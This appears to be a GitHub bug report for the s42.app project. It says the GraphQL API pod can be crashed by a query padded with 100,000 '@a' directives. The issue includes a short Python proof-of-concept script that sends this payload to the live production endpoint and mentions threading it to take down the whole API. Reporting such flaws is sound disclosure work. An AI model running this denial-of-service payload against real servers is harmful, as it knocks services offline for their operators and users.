-
-
Notifications
You must be signed in to change notification settings - Fork 34
Closed
Labels
aspect/infrastructure 🗄️Concerns infrastructure and hosting systemConcerns infrastructure and hosting systemdomain/obvious 🟩Represents the "known knowns" issue. It's ObviouslyRepresents the "known knowns" issue. It's Obviouslytype/bug 🔥Something isn't workingSomething isn't working
Description
Describe the bug
You can crash the API pod by overloading the graphql parser.
With a bit of threading you can take down the whole API:
To Reproduce
import requests
import time
url = 'https://s42.app/graphql'
max_size = int(1e5)
payload = {'query': 'query{\n__typename ' + ('@a'*max_size) + '\n}', 'variables': {}, 'operationName': None}
headers = {
'Content-Type': 'application/json',
}
try:
start = time.monotonic()
response = requests.request('POST', url, headers=headers, json=payload)
end = time.monotonic()
print(response.text)
print(f'Elapsed time: {end-start}')
except requests.exceptions.ConnectionError:
print('Connection closed.')
Expected behavior
No response
Relevant log output
No response
Version of software
idk
Environment
Live (https://s42.app)
Additional context
No response
Code of Conduct
- I agree to follow this project's Code of Conduct
Metadata
Metadata
Assignees
Labels
aspect/infrastructure 🗄️Concerns infrastructure and hosting systemConcerns infrastructure and hosting systemdomain/obvious 🟩Represents the "known knowns" issue. It's ObviouslyRepresents the "known knowns" issue. It's Obviouslytype/bug 🔥Something isn't workingSomething isn't working